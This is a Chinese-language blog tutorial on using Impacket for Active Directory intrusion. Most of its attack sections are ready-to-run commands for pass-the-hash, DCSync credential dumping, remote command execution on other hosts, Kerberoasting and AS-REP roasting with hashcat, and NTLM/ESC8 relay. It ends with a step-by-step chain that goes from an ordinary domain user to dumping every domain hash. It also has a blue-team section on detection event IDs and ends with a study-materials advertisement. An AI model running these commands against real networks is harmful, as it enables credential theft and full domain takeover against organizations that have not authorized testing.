🔒免责声明:本文所有技术内容,仅用于授权渗透测试、红蓝对抗、安全学习研究。严禁在没有书面授权的内网、企业域环境执行哈希传递、DCSync、远程命令执行等操作,未授权访问 Windows 活动目录系统属于违法行为。全部实操案例均在自建靶场完成,请勿直接复制命令到生产环境执行。
目录
- 1. 前言:Impacket 是什么,为什么内网渗透离不开 Impacket
- 2. Impacket 环境安装与基础语法、四种认证模式详解
- 2.1 安装方式
- 2.2 Impacket 通用命令格式
- 2.3 Impacket 支持 4 种认证方式(重中之重)
- 方式 1:明文密码认证
- 方式 2:Pass‑the‑Hash 哈希传递 `-hashes LMHASH:NTHASH`
- 方式 3:Kerberos AES 密钥认证 `-aesKey`
- 方式 4:Pass‑the‑Ticket 票据传递,ccache 文件
- 2.4 公共高频参数
- 3. 核心模块一:凭证导出工具
- 3.1 secretsdump.py(Impacket 王牌工具)
- 场景 1:dump 普通 Windows 单机,导出 SAM、LSA
- 场景 2:DCSync 域控导出全域凭证(最经典用法)
- 场景 3:配合 ccache 票据,票据传递 DCSync
- 3.2 samrdump.py
- 4. 核心模块二:横向移动远程执行脚本全家桶
- 4.1 psexec.py(对标微软 Sysinternals PsExec)
- 4.2 wmiexec.py(实战最常用,优先推荐)
- 4.3 smbexec.py
- 4.4 atexec.py 计划任务远程执行
- 4.5 dcomexec.py DCOM 组件执行
- 5. 核心模块三:Kerberos 全套攻击脚本
- 5.1 GetTGT.py 获取 TGT 票据,输出 ccache 文件
- 5.2 GetST.py 获取 TGS 服务票据
- 5.3 GetUserSPNs.py Kerberoasting(烤土豆,服务票据离线爆破)
- 5.4 GetNPUsers.py AS‑REP Roasting
- 5.5 gettgtpkinit.py PKINIT 证书获取 TGT
- 6. 核心模块四:信息枚举工具集
- 6.1 lookupsid.py SID 暴力枚举
- 6.2 net.py 域信息查询工具
- 6.3 rpcdump.py RPC 接口枚举
- 6.4 smbclient.py SMB 交互客户端
- 7. 核心模块五:NTLM 中继 ntlmrelayx.py 实战
- 7.1 SMB 中继基础示例
- 7.2 ESC8 AD‑CS 证书 Web 注册中继(高频红队场景)
- 8. 完整靶场实战链路:普通域账号从信息收集到 DCSync 完整流程
- 9. Impacket 高频报错、坑点与排错方案
- 9.1 STATUS_LOGON_FAILURE 登录失败
- 9.2 KRB_AP_ERR_MODIFIED kerberos 报错
- 9.3 Kerberos clock skew 时钟偏差
- 9.4 psexec 执行失败,访问 admin$ 拒绝
- 9.5 wmiexec.py 连接超时
- 9.6 DCSync 报错拒绝访问
- 10. 红队实战选型:不同场景该选哪一个脚本?
- 11. 蓝队视角:Impacket 攻击行为日志检测、狩猎规则
- 关键 Windows 安全事件 ID
- SIEM 狩猎规则思路
- 12. Impacket 面试高频考点整理
- 13. 全文总结
- 如何系统学习网络安全?
- 一、网络安全(黑客)学习路线
- 二、网络安全教程视频
- 三、网络安全CTF实战案例
- 四、网络安全面试题
摘要
Impacket 是基于 Python 开发的网络协议库,内置大量域渗透脚本,是内网渗透、红蓝对抗中最基础、最高频的工具集。它实现 SMB、RPC、WMI、LDAP、Kerberos、DRSUAPI 等 Windows 核心协议,支持 Linux 攻击机直接操作 Windows 域环境,完成信息收集、哈希传递、远程命令执行、凭证导出、Kerberos 票据攻击、NTLM 中继、DCSync 域控数据导出等全套操作。很多安全人员只会简单使用 psexec.py、secretsdump.py,却不理解底层协议、各个脚本之间的适用场景、坑点与流量特征。
本文从 Impacket 原理、环境部署出发,按照功能模块拆解全部高频脚本:凭证导出类、远程执行横向移动类、Kerberos 票据攻击类、信息枚举类、NTLM 中继攻击类;附带大量实战命令,区分明文、哈希、AES 密钥、ccache 票据四种认证方式;完整复现一套域渗透链路,总结常见报错排错,对比各个横向脚本检测特征;补充蓝队检测狩猎规则,整理面试高频考点。读完本文可以彻底吃透 Impacket 套件,同时也可以作为蓝队分析 Impacket 攻击行为的参考手册。
MITRE ATT&CK 映射:T1003.001 SAM 凭证获取,T1003.006 DCSync,T1021.002 SMB 远程服务,T1021.003 WMI,T1550.002 Pass‑the‑Hash 哈希传递,T1550.003 Pass‑the‑Ticket 票据传递,T1558 Kerberos 票据滥用,T1557 NTLM 中继。
1. 前言:Impacket 是什么,为什么内网渗透离不开 Impacket
Impacket 是 SecureAuth(原 Core Security)开源的 Python 网络协议库,它重新实现 Windows 很多专有协议,不需要依赖 Windows 系统,在 Linux(Kali)攻击机上就可以完整和域内 Windows 主机交互。
很多人会混淆:Impacket 本身不是漏洞利用工具,它只是协议实现,攻击行为来自协议本身设计特性(NTLM 哈希传递、DRSUAPI 复制 AD 数据、Kerberos 协议特性)。
Impacket 在红队当中地位:
- 跨平台,Linux 攻击机直接打 Windows 域,不需要 Windows 虚拟机;
- 支持多种认证:明文密码、NTLM Hash、AES256 密钥、Kerberos ccache 票据;
- 覆盖域渗透全流程:信息收集→横向移动→凭证 dump→票据攻击→中继攻击;
- 开源透明,所有流量可以抓包分析;Certipy、krbrelayx 很多知名工具底层都依赖 Impacket 库。
误区纠正:
①Impacket 不是病毒,属于安全研究工具,攻击者只是滥用工具能力;
②不是所有脚本都需要 445 端口,wmiexec 依赖 135 端口;
③DCSync 不是漏洞,是域控 DRSUAPI 协议本身功能,只要账号拥有域复制权限,就可以调用。
2. Impacket 环境安装与基础语法、四种认证模式详解
2.1 安装方式
kali 新版本自带 python3‑impacket,如果版本老旧,建议 github 源码安装最新版,老版本存在不少 bug。
# 源码安装 git clone https://github.com/fortra/impacket.git cd impacket pip3 install -r requirements.txt python3 setup.py install执行脚本两种调用方式:
#方式1:examples目录下直接python3执行脚本 python3 examples/secretsdump.py #方式2:kali安装完成之后,可以直接impacket‑xxx调用 impacket‑secretsdump2.2 Impacket 通用命令格式
脚本名 域名/用户名[:密码]@目标IP [参数]2.3 Impacket 支持 4 种认证方式(重中之重)
方式 1:明文密码认证
python3 secretsdump.py corp.com/administrator:Admin@123@192.168.10.10方式 2:Pass‑the‑Hash 哈希传递-hashes LMHASH:NTHASH
LM 哈希大部分环境为空,格式写成:NTHASH,前面冒号不能省略!
# LM为空,只填写NT hash wmiexec.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71格式错误是新手最高频报错,千万不要漏掉前面冒号。
方式 3:Kerberos AES 密钥认证-aesKey
当拿到用户 AES128/AES256 密钥,不用明文不用 NTLM 哈希,使用 AES 密钥申请 TGT 票据,流量更加隐蔽。
gettgt.py corp.com/administrator@192.168.10.10 -aesKey 45b1a450637fa42044cc2d9a2f882039xxxxxxx方式 4:Pass‑the‑Ticket 票据传递,ccache 文件
Impacket 读取环境变量KRB5CCNAME加载 kerberos ccache 票据,不需要账号密码。
export KRB5CCNAME=administrator.ccache python3 wmiexec.py -k corp.com/administrator@dc01.corp.com使用票据模式,尽量填写主机 FQDN 域名,不要直接填 IP,Kerberos 协议不支持 IP 作为 SPN,直接填 IP 大概率报错
KRB_AP_ERR_MODIFIED。
2.4 公共高频参数
| 参数 | 说明 |
|---|---|
‑dc‑ip x.x.x.x | 指定域控制器 IP,域环境必备,用于 LDAP、Kerberos 解析 |
‑k | 开启 kerberos 认证,读取 KRB5CCNAME 票据 |
‑no‑pass | 账号无密码场景 |
‑outputfile xxx | 输出结果保存文件 |
3. 核心模块一:凭证导出工具
3.1 secretsdump.py(Impacket 王牌工具)
功能:远程 dump 目标主机 SAM、LSA Secrets、缓存域凭证;如果目标是域控,直接调用 DRSUAPI 协议执行 DCSync 导出域全部账号哈希,不需要登录目标机器,网络远程完成。
权限要求:本地管理员权限;DCSync 需要账号拥有
DS‑Replication‑Get‑Changes权限。
场景 1:dump 普通 Windows 单机,导出 SAM、LSA
#明文 secretsdump.py corp.com/administrator:Admin@123@192.168.10.20 #哈希传递pt‑h secretsdump.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71输出内容:本地用户 NTLM 哈希、LSA Secrets 里面存储的服务账号密码、缓存的域登录凭证。
场景 2:DCSync 域控导出全域凭证(最经典用法)
不需要登录域控主机,网络调用 DRSUAPI 复制 AD 数据。
#导出域内全部账号 secretsdump.py corp.com/administrator:Admin@123@192.168.10.10 #只导出krbtgt账号hash,制作黄金票据 secretsdump.py corp.com/administrator:Admin@123@192.168.10.10 -just‑dc‑user krbtgt重要知识点:DCSync 是协议原生功能,不是漏洞;只要账号拥有复制目录权限就可以执行,会产生 4662 目录访问事件 ID,蓝队重点监控该日志。
场景 3:配合 ccache 票据,票据传递 DCSync
export KRB5CCNAME=admin.ccache secretsdump.py -k corp.com/administrator@dc01.corp.com -dc‑ip 192.168.10.103.2 samrdump.py
通过 SAMR 协议,读取 SMB 服务,枚举本地用户列表,读取 SAM 账号信息。权限要求不高,不一定需要管理员权限。
samrdump.py corp.com/user:Password123@192.168.10.20多用于内网信息探测,获取目标本地用户名清单。
4. 核心模块二:横向移动远程执行脚本全家桶
这一组脚本是红队横向移动主力,全部支持明文、哈希传递、kerberos 票据认证。每个脚本底层协议、端口、行为痕迹、检测特征完全不一样,实战需要根据环境防火墙策略选择合适脚本。
| 脚本 | 底层协议 | 端口 | 执行原理 | 痕迹特点 |
|---|---|---|---|---|
| psexec.py | SMB | 445 | 上传临时 exe 到 ADMIN$ 共享,创建系统服务执行命令,执行完删除服务文件 | 痕迹重,会写磁盘,大量 EDR 重点监控 |
| wmiexec.py | WMI | 135 + 动态 DCOM 端口 | 调用 WMI 接口执行命令,输出读取共享 | 不落地文件,红队优先选择,防火墙放行 135 可用 |
| smbexec.py | SMB | 445 | 写 bat 到 ADMIN$,服务启动执行,无临时 exe,只有批处理 | 不生成 exe,但是会写入 bat 脚本 |
| atexec.py | RPC Schedule 任务 | 135 | 远程创建计划任务执行命令,执行后删除任务 | 创建计划任务,日志会记录计划任务事件 |
| dcomexec.py | DCOM 对象 | 135 | 调用 DCOM COM 对象执行命令 | 利用 COM 组件,部分环境可绕过 WMI 拦截 |
4.1 psexec.py(对标微软 Sysinternals PsExec)
原理:连接 admin$ 共享,上传 RemComSvc 临时可执行文件,注册 Windows 服务,服务启动以 SYSTEM 权限执行命令,完成后删除服务和文件。
缺点:写入 exe 到磁盘,现代 EDR、Defender 很容易拦截;很多企业防护直接阻断 psexec 行为。
#明文交互shell psexec.py corp.com/administrator:Admin@123@192.168.10.20 #哈希传递,单条命令执行,不进入交互shell psexec.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 "whoami /all"坑点:部分环境删除临时服务失败,目标机器会残留 RemComSvc 服务项。
4.2 wmiexec.py(实战最常用,优先推荐)
基于 WMI 协议执行命令,不会向磁盘写入 exe 程序。命令执行输出通过 SMB 共享读取回来,不需要落地文件,痕迹相比 psexec 轻很多。端口依赖:135 端口开放,并且 DCOM 动态端口没有被防火墙拦截。
#获取交互式shell wmiexec.py corp.com/administrator:Admin@123@192.168.10.20 #哈希传递执行单条命令 wmiexec.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 "ipconfig /all" #kerberos票据模式 export KRB5CCNAME=admin.ccache wmiexec.py -k corp.com/administrator@pc01.corp.com坑:如果防火墙拦截 135 端口,wmiexec 直接无法使用;WMI 服务关闭也会失败。
4.3 smbexec.py
区别 psexec:不上传 exe,把命令写入临时 bat 批处理脚本放到 admin$ 共享,通过服务启动执行脚本,执行完毕删除 bat 文件。磁盘只会留下 bat 而不是 exe,规避部分针对 exe 的检测。
smbexec.py corp.com/administrator:Admin@123@192.168.10.204.4 atexec.py 计划任务远程执行
调用 Schedule 服务 RPC 接口,远程创建临时计划任务执行命令,执行完毕自动删除任务。Windows 日志会记录计划任务创建、运行事件。
atexec.py corp.com/administrator:Admin@123@192.168.10.20 "systeminfo"适合 445 封禁但是 135RPC 放行的环境。
4.5 dcomexec.py DCOM 组件执行
调用 Windows DCOM COM 对象(ShellWindows、ShellBrowserWindow)实现命令执行,不依赖 WMI 服务,当 WMI 被安全软件禁用时,可以尝试该脚本。
dcomexec.py corp.com/administrator:Admin@123@192.168.10.20横向移动实战选型总结:
- 135 端口放行 → 优先 wmiexec.py;
- 135 被防火墙拦截,445 开放 → smbexec.py;
- WMI 服务异常 → dcomexec.py/atexec.py;
- psexec.py 尽量少用,红蓝对抗极易触发告警。
5. 核心模块三:Kerberos 全套攻击脚本
Impacket 完整实现 Kerberos 客户端,TGT、TGS 申请,Kerberoasting,AS‑REP Roasting,PKINIT 证书认证全部支持,是域内票据攻击基础工具集。
5.1 GetTGT.py 获取 TGT 票据,输出 ccache 文件
输入账号密码 / NTLM hash / AES 密钥,向 KDC 域控申请 TGT 票据,保存为 ccache 文件,用于后续 Pass‑the‑Ticket。
#密码获取TGT GetTGT.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 #NTLM hash获取TGT GetTGT.py corp.com/lowuser@dc01.corp.com -hashes :xxxxxxxxxxxxxxxxx -dc‑ip 192.168.10.10 #AES256密钥获取TGT,更隐蔽 GetTGT.py corp.com/lowuser@dc01.corp.com -aesKey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -dc‑ip 192.168.10.10运行完成输出lowuser.ccache,设置环境变量即可使用票据。
5.2 GetST.py 获取 TGS 服务票据
向 KDC 申请指定 SPN 的 TGS 服务票据,可用于白银票据相关操作。
#申请cifs/dc01.corp.com服务TGS票据 GetST.py corp.com/lowuser:Password123! -spn cifs/dc01.corp.com -dc‑ip 192.168.10.105.3 GetUserSPNs.py Kerberoasting(烤土豆,服务票据离线爆破)
Kerberoasting 攻击:查询域内注册 SPN 的服务账号,请求该账号 TGS 票据,输出可 hashcat 爆破的哈希字符串。拿到 TGS 哈希本地字典爆破,得到服务账号明文密码。
权限:任意普通域用户权限即可执行。
#查询所有SPN,并且请求TGS票据输出hash GetUserSPNs.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 -request -outputfile kerberoast_hash.txt爆破:
hashcat -m 13100 kerberoast_hash.txt rockyou.txt5.4 GetNPUsers.py AS‑REP Roasting
针对域账号开启Do not require Kerberos preauthentication(不需要预认证),攻击者直接向 KDC 发送 AS‑REQ 拿到 AS‑REP 哈希,本地离线爆破密码。普通域用户就可以扫描域内该类风险账号。
#从用户名字本批量探测 GetNPUsers.py corp.com/ -usersfile userlist.txt -dc‑ip 192.168.10.10 -format hashcat -outputfile asrep_hash.txthashcat 模式‑m 18200爆破 AS‑REP 哈希。
5.5 gettgtpkinit.py PKINIT 证书获取 TGT
搭配 AD‑CS 攻击,拿到 pfx 证书之后,使用该脚本,通过 PKINIT 协议,使用证书向 KDC 申请 TGT 票据,输出 ccache 文件。Certipy 底层就是封装这个 Impacket 模块。
gettgtpkinit.py -pfx administrator.pfx corp.com/administrator@dc01.corp.com -dc‑ip 192.168.10.10黄金票据、白银票据 Impacket 已经不再维护,现代红队更多使用 Rubeus 做票据伪造。Impacket 主要用于正常向 KDC 申请真实票据。
6. 核心模块四:信息枚举工具集
6.1 lookupsid.py SID 暴力枚举
通过 SMB 协议,暴力枚举目标主机 SID,获取本地 / 域用户、组 SID,不用凭据也可以部分场景枚举。
lookupsid.py corp.com/lowuser:Password123@192.168.10.206.2 net.py 域信息查询工具
Impacket 封装的 ldap 查询工具,可以查询域用户、域组、计算机对象,不用开启 bloodhound,命令行快速收集信息。
#查询域管理员组成员 net.py corp.com/lowuser:Password123!@192.168.10.10 group -name "Domain Admins" #列出域所有计算机对象 net.py corp.com/lowuser:Password123!@192.168.10.10 computer6.3 rpcdump.py RPC 接口枚举
枚举目标主机开放 RPC 接口,判断有哪些协议服务对外开放,用于内网探测。
rpcdump.py corp.com/lowuser:Password123!@192.168.10.206.4 smbclient.py SMB 交互客户端
类似 smbclient 系统命令,基于 impacket 实现,支持哈希传递,浏览、上传、下载 SMB 共享文件。
#哈希传递访问共享 smbclient.py corp.com/administrator@192.168.10.20 -hashes :58a478135a93ac3bf058a5ea0e8fdb71 #交互内命令:ls get put cd7. 核心模块五:NTLM 中继 ntlmrelayx.py 实战
ntlmrelayx.py 是 Impacket 经典中继工具,监听传入 NTLM 认证请求,把认证中继转发到其他目标主机,实现中继攻击,常用于 SMB 中继、ESC8 AD‑CS 证书中继攻击。
前提条件:目标关闭 SMB 签名,否则中继失败。
7.1 SMB 中继基础示例
监听传入 NTLM,中继到目标机器,dump 凭证:
ntlmrelayx.py -t smb://192.168.10.20 -smb2support另起终端触发目标回连攻击机 IP,接收对方 NTLM 认证,中继成功之后自动调用 secretsdump dump 目标哈希。
7.2 ESC8 AD‑CS 证书 Web 注册中继(高频红队场景)
中继目标指向 CA 服务器 certsrv http 接口,实现 ESC8 攻击,这个就是 Certipy relay 底层参考原型:
ntlmrelayx.py -t http://192.168.10.10/certsrv -smb2support配合 PetitPotam 强制域控回连攻击机,域控计算机账号 NTLM 认证被中继到 CA 申请机器证书。
注意:现代环境开启 SMB 强制签名之后,传统 SMB 中继失效。
8. 完整靶场实战链路:普通域账号从信息收集到 DCSync 完整流程
靶场环境:
域corp.com;域控 DC01:192.168.10.10;内网机器 PC01:192.168.10.20;拿到普通域账号 lowuser / Password123!;目标:从普通域账号横向,拿到域管理员凭证,DCSync 导出域全部哈希。
全部操作在授权靶场 Kali 攻击机执行。
步骤 1:信息收集,探测域内 SPN 账号,执行 Kerberoasting
GetUserSPNs.py corp.com/lowuser:Password123! -dc‑ip 192.168.10.10 -request -outputfile spn_hash.txt本地 hashcat 爆破得到服务账号明文密码。
步骤 2:拿到高权限账号 administrator 密码,使用 wmiexec 横向登录 PC01
wmiexec.py corp.com/administrator:Admin@123@192.168.10.20成功获取交互式 shell。
步骤 3:利用该管理员账号,远程 DCSync 域控,导出全域账号哈希
secretsdump.py corp.com/administrator:Admin@123@192.168.10.10 -dc‑ip 192.168.10.10成功导出 krbtgt、所有域用户 NTLM 哈希。
步骤 4:使用 GetTGT,用 administrator 哈希申请 TGT 票据,票据传递模式访问资源
GetTGT.py corp.com/administrator@dc01.corp.com -hashes :58a478135a93ac3bf058a5ea0e8fdb71 -dc‑ip 192.168.10.10 export KRB5CCNAME=administrator.ccache wmiexec.py -k corp.com/administrator@pc01.corp.com步骤 5:也可以用 secretsdump 加载 ccache 票据执行 DCSync
secretsdump.py -k corp.com/administrator@dc01.corp.com -dc‑ip 192.168.10.10整条链路完整演示 Impacket 套件不同模块协同工作。
9. Impacket 高频报错、坑点与排错方案
9.1 STATUS_LOGON_FAILURE 登录失败
常见原因:
-hashes参数格式错误,LM 哈希部分前面冒号漏写;正确格式‑hashes :NTHash;- 域名填写错误,单机环境不要写域名;
- 账号密码哈希本身错误;
- 账号被锁定。
9.2 KRB_AP_ERR_MODIFIED kerberos 报错
原因:使用 IP 地址访问 Kerberos 资源,SPN 使用主机名,IP 不匹配。
解决方案:配置 /etc/resolv.conf DNS,使用主机 FQDN 域名代替 IP 执行脚本。
9.3 Kerberos clock skew 时钟偏差
Kerberos 协议对时间严格,攻击机时间和域控时间相差超过 5 分钟直接认证失败。
解决:kali 同步域控时间rdate ‑n 192.168.10.10。
9.4 psexec 执行失败,访问 admin$ 拒绝
- 目标机器防火墙拦截 445;
- UAC 远程限制:本地管理员账号从网络登录会被过滤,域管理员不受 UAC 远程限制;
- admin$ 共享被组策略禁用。
9.5 wmiexec.py 连接超时
防火墙拦截 135 端口,或者 DCOM 动态端口被拦截;WMI 服务没有运行;更换 atexec、dcomexec 脚本尝试。
9.6 DCSync 报错拒绝访问
账号没有DS‑Replication‑Get‑Changes目录复制权限,普通域用户默认没有该权限,需要域管理员、域控制器账号、被授予复制权限账号才可以执行 DCSync。
很多新手误区:拿到普通域用户直接跑 secretsdump 对域控 DCSync,必然失败。
10. 红队实战选型:不同场景该选哪一个脚本?
- 已经拿到本地管理员,端口 445 开放,EDR 宽松:优先
smbexec.py,规避 psexec 上传 exe; - 135 端口放行,想尽量降低磁盘痕迹:首选
wmiexec.py,红蓝对抗最常用; - WMI 服务异常不可用:尝试
dcomexec.py; - 445 被防火墙封禁,135RPC 放行:
atexec.py计划任务; - 尽量避免使用
psexec.py,写入 exe 文件,EDR/Defender 告警非常高; - 票据传递模式,尽量全部使用 FQDN 主机名,不要写 IP;
- DCSync 优先使用 secretsdump,不需要登录域控主机,网络远程完成。
11. 蓝队视角:Impacket 攻击行为日志检测、狩猎规则
Impacket 本身不在目标主机落地任何程序,全部流量来自外部攻击机,所以需要从网络登录事件、对象访问事件进行狩猎检测。
关键 Windows 安全事件 ID
| 事件 ID | 含义 | Impacket 攻击场景 |
|---|---|---|
| 4624 | 成功登录,Logon Type=3 网络登录 | 所有 SMB/WMI/RPC 远程认证,源 IP 来自非业务终端 |
| 5145 | 访问网络共享资源 | psexec/smbexec 访问 ADMIN$ 共享写入文件 |
| 4698 | 计划任务创建 | atexec.py 远程创建计划任务 |
| 4662 | 目录对象操作,属性 ID 1131f6aa‑9c07‑11d1‑f79f‑00c04fc2dcd2 | DCSync 攻击,secretsdump 触发该事件,蓝队最高优先级狩猎 |
| 4769 | TGS_REQ 票据请求 | Kerberoasting GetUserSPNs 大量 TGS 请求 |
SIEM 狩猎规则思路
- 狩猎 DCSync 行为:事件 4662,操作属性为复制 AD 对象 GUID,源 IP 不是域控机器;
- 大量 4769 事件短时间爆发,同一个账号请求大量不同服务 TGS 票据,大概率 Kerberoasting;
- 异常外部 IP 产生大量 Logon Type3 登录,访问 admin$ 共享;
- 短时间出现大量临时计划任务创建随即删除,警惕 atexec;
防护加固建议:
- 域控制器开启 SMB 强制签名,防御 NTLM 中继攻击;
- 监控 4662 DRSUAPI 复制操作;
- 限制普通域账号不要授予目录复制权限;
- 网络层监控外部非可信 IP 对内网 445、135 端口访问;
- 审计域账号,关闭不必要账号的 “不需要 Kerberos 预认证” 属性,防御 AS‑REP Roasting。
12. Impacket 面试高频考点整理
- secretsdump.py 两种工作模式?
对普通主机:SMB 远程读取注册表 SAM、LSA Secrets;对域控:调用 DRSUAPI 协议 DCSync 复制活动目录数据导出全域账号哈希。DCSync 不是漏洞,是 AD 原生复制协议,账号拥有目录复制权限即可调用。 - pass‑the‑hash 使用 Impacket,‑hashes 参数格式?
LMHASH:NTHASH;LM 哈希为空,前面冒号不能省略,‑hashes :xxxxxxxxxxxx。 - wmiexec、psexec、smbexec、atexec 区别?
psexec 上传 exe 服务,痕迹最重;wmiexec 基于 WMI135 端口,无落地 exe;smbexec 写入 bat 批处理;atexec 远程创建计划任务执行命令。 - GetUserSPNs.py、GetNPUsers.py 分别对应什么攻击?
GetUserSPNs:Kerberoasting,请求服务账号 TGS 票据离线爆破;GetNPUsers:AS‑REP Roasting,针对关闭预认证账号获取 AS‑REP 哈希爆破。两者普通域用户权限就可以执行。 - Impacket kerberos 票据传递,为什么填 IP 经常报错 KRB_AP_ERR_MODIFIED?
Kerberos SPN 绑定主机 FQDN,不支持 IP 地址,需要使用域名访问,配置 DNS 解析。 - ntlmrelayx.py 工作原理,SMB 签名作用?
接收 NTLM 认证,将认证中继转发到目标服务器;目标开启 SMB 强制签名,SMB 中继直接失效。 - DCSync 需要什么权限?
账号需要DS‑Replication‑Get‑Changes、DS‑Replication‑Get‑Changes‑All权限,域管理员、域控制器账号默认拥有该权限。普通域用户默认没有。 - secretsdump 执行 DCSync 是否需要登录域控主机?
不需要,纯网络调用 DRSUAPI 接口,不需要 SMB 登录域控。 - Impacket 四种认证模式分别是什么?
明文密码、NTLM 哈希传递‑hashes、AES 密钥‑aesKey、ccache 票据传递(KRB5CCNAME 环境变量 +‑k 参数)。 - wmiexec 依赖什么端口?
135 端口,以及 DCOM 动态高位端口;不是 445。
13. 全文总结
Impacket 套件是内网域渗透基石,它实现 Windows 主流网络协议,让 Linux 攻击机完整操作活动目录环境。很多安全人员只会简单复制命令,不理解底层协议,遇到报错无从下手。
- 横向移动脚本各有优劣,psexec 痕迹重尽量规避;wmiexec 实战优先;根据防火墙开放端口灵活选择脚本。
- secretsdump 是王牌工具,分为 dump 本地凭证和 DCSync 域控复制 AD 数据两种模式;DCSync 不是漏洞,是 AD 复制协议原生功能,蓝队重点监控 4662 事件 ID。
- Kerberos 模块:GetUserSPNs(Kerberoasting)、GetNPUsers(AS‑REP Roasting)普通域账号即可执行,拿到哈希本地离线爆破密码。gettgtpkinit 配合 AD‑CS 证书漏洞完成 PKINIT 证书登录。
- ntlmrelayx 实现 NTLM 中继攻击,可用于 SMB 中继,也可以用于 ESC8 AD‑CS 证书中继;开启 SMB 强制签名可以防御传统 SMB 中继。
- Kerberos 使用票据模式尽量使用 FQDN 域名,攻击机系统时间必须和域控保持同步,否则会认证失败。
- 蓝队防御 Impacket 攻击,重点监控网络登录事件、DCSync 目录复制事件、计划任务创建事件,开启 SMB 强制签名,审计账号目录复制权限。
- 所有脚本都支持明文、哈希、AES、ccache 票据四种认证方式,熟练切换认证方式是内网渗透必备技能。
再次声明:本文全部技术内容,仅限授权靶场、授权红蓝对抗演练,严禁在没有授权的企业内网执行相关操作。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】